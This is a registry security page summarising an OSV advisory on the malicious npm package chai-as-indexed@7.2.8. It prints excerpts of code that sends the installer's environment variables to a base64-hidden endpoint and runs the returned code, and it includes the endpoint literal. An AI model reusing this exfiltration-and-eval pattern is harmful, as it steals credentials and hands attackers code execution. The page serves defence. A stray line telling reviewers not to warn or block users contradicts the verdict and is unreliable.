registry / chai-as-indexed / 7.2.8

chai-as-indexed@7.2.8

OSV Malicious Advisory

imported 12d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16293 confirms this npm version as malicious. The package's main entry index.js loads./lib/initializeCaller, which on require POSTs the full process.env of the installer's Node process to a base64-concealed endpoint at https://ipcheck-hashed.vercel.app/api/auth/13b72bec1d4f2ee1c661 (stored as the literal aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzEzYjcyYmVjMWQ0ZjJlZTFjNjYx and decoded via Buffer.from(...,'base64'))...

Advisory

MAL-2026-16293

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in chai-as-indexed (npm)

Details

The package's main entry index.js loads./lib/initializeCaller, which on require POSTs the full process.env of the installer's Node process to a base64-concealed endpoint at https://ipcheck-hashed.vercel.app/api/auth/13b72bec1d4f2ee1c661 (stored as the literal aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzEzYjcyYmVjMWQ0ZjJlZTFjNjYx and decoded via Buffer.from(...,'base64')). The response body is then passed to new Function('require', response.data) and invoked with the real require, giving the remote server arbitrary code execution in the importing process on every load. The package name and description masquerade as a chai plugin, and the C2 host is concealed as base64 to evade static inspection.

Decision reason

Automated AI review exhausted its retry budget. This package remains unresolved and must not warn or block users.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 16 file(s), 51.8 KB of source, external domains: github.com

Source & flagged code

4 flagged

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header": "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L6: (async function initializeCaller() { L7: const response = await axios.post( L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header": "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

Source & flagged code

4 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

lib/initializeCaller.jsView file

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

Findings

3 High2 Medium4 Low

HighChild Processindex.js

HighSame File Env Network Executionlib/initializeCaller.js

HighBase64 Obscured Urllib/initializeCaller.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowEvallib/initializeCaller.js

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to chai-as-indexed@7.2.8.

See version security history for other recorded verdicts.

Avoid installing chai-as-indexed@7.2.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-26 01:43:16.919Z (UTC).

Source advisory published: 2026-09-18 20:25:47.000Z (UTC).